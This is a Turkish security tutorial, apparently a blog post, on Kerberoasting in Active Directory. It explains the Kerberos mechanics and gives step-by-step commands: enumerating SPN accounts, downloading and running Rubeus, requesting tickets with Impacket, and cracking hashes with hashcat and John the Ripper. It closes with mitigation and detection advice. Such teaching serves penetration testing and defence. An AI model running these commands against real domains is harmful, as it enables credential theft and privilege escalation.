tüm yazılar

Active Directory'de Kerberoasting Saldırısı ve Derinlemesine Analiz

Active Directory ortamlarında SPN tanımlı servis hesaplarını hedef alan Kerberoasting saldırısının çalışma mekanizması, sömürme adımları ve savunma (mitigation) yöntemleri.

Active Directory'de Kerberoasting Saldırısı ve Derinlemesine Analiz

Active Directory (AD) altyapılarında yetki yükseltme (privilege escalation) ve lateral movement aşamalarında sıkça kullanılan en etkili tekniklerden biri Kerberoasting'dir (MITRE ATT&CK: T1558.003).

Bu tekniğin en kritik özelliği, Active Directory tasarımından kaynaklanan yapısal bir durum olmasıdır. Saldırgan herhangi bir yetkili hesaba sahip olmasa bile, yalnızca geçerli bir Domain User hesabı ile ağdaki tüm servis hesaplarına ait Kerberos biletlerini meşru bir şekilde talep edebilir ve bu biletleri çevrimdışı (offline) olarak kırarak servis parolalarını ele geçirebilir.

Bu yazıda Kerberoasting saldırısının teorik altyapısını, Kerberos protokolündeki zayıf noktaları, adım adım sömürme (exploitation) süreçlerini ve sistem yöneticilerinin alması gereken savunma (mitigation) önlemlerini detaylarıyla inceleyeceğiz.


1. Kerberoasting Nedir?

Kerberoasting, Active Directory ortamındaki bir servis hesabına atanmış SPN (Service Principal Name) değerini suistimal ederek, o servise ait TGS (Ticket Granting Service) biletinin elde edilmesi ve servis hesabının NT hash'inin/parolasının çevrimdışı olarak kırılması (offline brute-force) saldırısıdır.

Temel Sebebi:

  1. KDC Yetkilendirme Yapmaz: Active Directory'de varsayılan olarak herhangi bir Domain User, ağdaki herhangi bir SPN için KDC'den (Key Distribution Center) bir servis bileti (TGS-REP) isteyebilir. KDC, kullanıcının o servise gerçekten erişim yetkisi olup olmadığını bilet verirken denetlemez (yetkilendirme servis tarafında yapılır).
  2. Servis Parolası İle Şifreleme: KDC tarafından istemciye dönen TGS-REP paketi içerisindeki Service Ticket (ST / TGS), ilgili servisi çalıştıran Service Account'un NTHash'i ile şifrelenir.
  3. Offline Kırma: İstemci (veya saldırgan) bu şifreli bilet verisini aldıktan sonra, Active Directory ile hiçbir ağ iletişimi kurmadan kendi yerel makinesinde Hashcat veya John the Ripper gibi araçlarla parolanın hash değerine brute-force / dictionary attack uygulayabilir.

2. Kerberos Protokolü ve SPN İlişkisi

Saldırıyı tam olarak kavrayabilmek için Kerberos mesajlaşma adımlarını hatırlayalım:

sequenceDiagram
    autonumber
    actor Attacker as İstemci / Saldırgan (Domain User)
    participant KDC as Domain Controller (KDC)
    actor Service as Hedef Servis (SPN)

    Attacker->>KDC: 1. AS-REQ (Kullanıcı doğrulaması isteği)
    KDC-->>Attacker: 2. AS-REP (TGT bileti ve Session Key)
    Attacker->>KDC: 3. TGS-REQ (Hedef SPN için bilet talebi + TGT)
    KDC-->>Attacker: 4. TGS-REP (Servis Hesabının NTHash'i ile Şifreli ST Bileti)
    Note over Attacker: 5. Offline Brute-Force (Hashcat / John the Ripper)

SPN (Service Principal Name) Nedir?

SPN, Kerberos kimlik doğrulamasında bir servis örneğini (instance) bir servis hesabıyla eşleştiren benzersiz bir tanımlayıcıdır. Format örnekleri:

  • MSSQLSvc/sqlserver01.corp.local:1433
  • HTTP/web.corp.local

Active Directory objelerinin servicePrincipalName özniteliğinde (attribute) tutulur. Eğer bir servis, standart bir bilgisayar hesabı (SYSTEM, NETWORK SERVICE) yerine özel bir User Account (Kullanıcı Hesabı) altında çalıştırılıyorsa, bu kullanıcı hesabı Kerberoastable hale gelir.


3. Adım Adım Kerberoasting Sömürme (Exploitation)

Saldırı 3 temel aşamadan oluşur:

  1. Keşif (Reconnaissance): SPN tanımlı kullanıcı hesaplarının tespit edilmesi.
  2. Bilet İsteği (Ticket Request): TGS biletlerinin belleğe alınması veya dosyaya aktarılması.
  3. Kırma (Cracking): Elde edilen biletin parola sözlüğü ile kırılması.

Adım 1: SPN Tanımlı Hesapların Tespiti

PowerShell Active Directory Modülü İle:

Get-ADUser -Filter {serviceprincipalname -like "*"} -Properties serviceprincipalname | Format-Table Name, serviceprincipalname

PowerView İle:

Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname

BloodHound / Neo4j Sorgusu İle:

MATCH (u:User {hasspn: true}) RETURN u

Adım 2: TGS Biletlerinin Elde Edilmesi

Rubeus İle (Tavsiye Edilen):

Rubeus kullanarak hedef kullanıcının TGS biletini doğrudan kırma formatında ($krb5tgs$) çıktı alabilirsiniz:

# Rubeus aracının indirilmesi / çalıştırılması
iwr -Uri https://github.com/forestallio/ActiveDirectoryRedTeaming/raw/main/Rubeus.exe -OutFile Rubeus.exe

# SPN tanımlı kullanıcı için TGS isteğinde bulunulması ve hash'in kaydedilmesi
.\Rubeus.exe kerberoast /user:sql_svc /outfile:hashes.txt

Impacket (GetUserSPNs.py) İle (Linux / Kali):

Domain erişimi olan herhangi bir kullanıcı bilgisiyle dışarıdan da bu işlem tetiklenebilir:

GetUserSPNs.py corp.local/john.doe:Password123! -dc-ip 172.31.101.5 -request -outputfile kerberoast_hashes.txt

Adım 3: Hash'in Offline Kırılması

Elde edilen $krb5tgs$ formatındaki hash değeri John the Ripper veya Hashcat ile kırılır:

John the Ripper İle:

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Hashcat İle:

# Kerberos 5 TGS-REP etype 23 (RC4) için mode 13100 kullanılır
hashcat -m 13100 -a 0 hashes.txt rockyou.txt

Eğer servisi yöneten kullanıcının parolası zayıfsa (örn: Password123!, Sql2022!), kısa süre içinde açık metin parola elde edilir. Bu hesap genellikle yüksek yetkilere (Domain Admin veya sunucularda Local Admin) sahip olduğundan, saldırgan tüm ağda yetki yükseltmiş olur.


4. Savunma Önlemleri ve Sertleştirme (Mitigation)

Kerberoasting mimari bir durum olduğundan tamamen "kapatılamaz", ancak etkileri minimize edilebilir:

  1. gMSA (Group Managed Service Accounts) Kullanın: Servisler için standart kullanıcı hesapları yerine gMSA kullanın. gMSA hesaplarının parolaları Windows tarafından 128 karakterli karmaşık dizgiler olarak otomatik yönetilir ve periyodik olarak değiştirilir. Kırılması imkansızdır.

  2. Güçlü ve Uzun Parola Politikaları: gMSA kullanılamayan eski servis hesaplarında parolaları en az 25-30+ karakter uzunluğunda, karmaşık yapıda belirleyin ve düzenli periyotlarla değiştirin.

  3. En Az Yetki Prensibi (Least Privilege): Servis hesaplarını kesinlikle Domain Admins, Enterprise Admins veya Administrators gibi yetkili gruplara üye yapmayın.

  4. AES-256 Şifrelemeye Geçin (RC4'ü Devre Dışı Bırakın): Kerberos RC4-HMAC şifreleme algoritması brute-force saldırılarına karşı çok hızlı kırılır. Servis hesaplarında yalnızca AES128_HMAC ve AES256_HMAC şifrelemesini zorunlu kılın.

  5. KDC Olay Günlüklerini İzleyin (SIEM / Detection):

    • Event ID 4769: A Kerberos service ticket was requested.
    • Kısa sürede çok sayıda TGS talebi yapan veya Ticket Encryption Type değeri 0x17 (RC4) olan anormal istemci isteklerini SIEM kuralları ile alarm mekanizmasına bağlayın.

Özet

Kerberoasting, Active Directory sızma testlerinde "düşük riskli bir hesaptan yüksek yetkili domain hesaplarına geçiş" sağlayan en popüler yöntemdir. Etkili bir savunma için servis hesaplarının mimarisini gMSA yapısına geçirmek ve parola karmaşıklığını otomatize etmek hayati önem taşır.